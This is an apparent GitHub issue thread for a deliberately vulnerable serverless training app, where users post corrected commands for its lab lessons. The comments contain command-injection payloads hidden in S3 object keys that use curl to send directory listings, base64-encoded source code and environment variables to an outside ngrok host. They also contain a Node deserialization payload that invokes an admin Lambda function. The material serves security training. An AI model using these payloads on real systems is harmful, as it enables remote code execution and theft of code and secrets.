Comments (4)
Commands to be fixed in the instructions for lesson 4:
aws s3 cp ~/empty 's3://dvsa-receipts-bucket-{your_bucket_id}/2020/20/20/null_;curl 9c3f7623.ngrok.io?data="$(ls)";echo x.raw' --acl public-read --profile hacker
aws s3 cp ~/empty 's3://dvsa-receipts-bucket-{your_bucket_id}/2020/20/20/null_;curl 9c3f7623.ngrok.io?code="$(cd x; cd y; cd z; cat send_receipt_email.py | base64 --wrap=0)" echo x.raw' --acl public-read --profile hacker
It could also be suggested to verify the bucket permissions to cp and ls, from a different aws account (in my case I created an organization and a second aws account in the same org)
from dvsa.
Lesson 5 last part:
{"action": "_$$ND_FUNC$$_function(){var p=JSON.stringify({"headers":{"authorization":"eyJra ... l7g10i5Q"}, "body":{"action":"update", "order-id": "480e3996-e8a7-4fdb-bc12-94fdae1e14fb", "item":{"token": "VFqDWCgagMO7", "ts": 1546482872, "itemList": {"11": 1, "12": 1}, "address": "100 Fake st., NYC, USA", "total": 74, "status": 120}}});var a=require("aws-sdk");var l=new a.Lambda();var x={FunctionName:"DVSA-ADMIN-UPDATE-ORDERS",InvocationType:"RequestResponse",Payload:p};l.invoke(x, function(e,d){});}()"}
This seems to give a TypeError on line 70 when decoding the auth token.
For some unclear reason I had to change the following:
token_sections = auth_header.split('.')
try:
auth_data = base64.b64decode(token_sections[1]+"===")
So that no exception is generated: see https://gist.github.com/perrygeo/ee7c65bb1541ff6ac770
from dvsa.
Lesson 7 requires --acl public-read:
aws s3 cp ~/empty 's3://dvsa-receipts-bucket-xxxxxxxxxxx/2020/20/20/null_;b=env|base64 --wrap=0
;curl xxxxx.ngrok.io?data=$b;echo x.raw' --acl public-read --profile xxxxxxxx
from dvsa.
Lesson 10: only {"action": "get"} seems to trigger an unhandled exception
from dvsa.
Related Issues (20)
- be-stack.json file missing when building client HOT 2
- npm i , Error with node version 8 (working with version 10) HOT 1
- packaging freezes for long time HOT 1
- When I deploy backend,I got the error “The CloudFormation template is invalid...." HOT 1
- Cannot deploy Serverless Repo to AWS lambda HOT 2
- create default admin user HOT 1
- CannotDeploy DVSA from the AWS Serverless Application Repository
- AWS Deploy Error HOT 2
- after deploy i got link but link is not working imnot getting how to change permissions HOT 2
- Attach File is not working in Contact HOT 1
- got "[ERROR] DVSA backend does not work properly. Try to delete cache and re-login." HOT 7
- Attach File is not working in Feedback Information HOT 2
- DVSA CREATE_failed HOT 2
- Deployable on OpenFaaS or OpenWhisk
- Step by step guide - "npm i" fails with error HOT 1
- store profile info in localStorage
- Error Deploying DVSA
- create SAM template for DVSA
- Code Missing? HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from dvsa.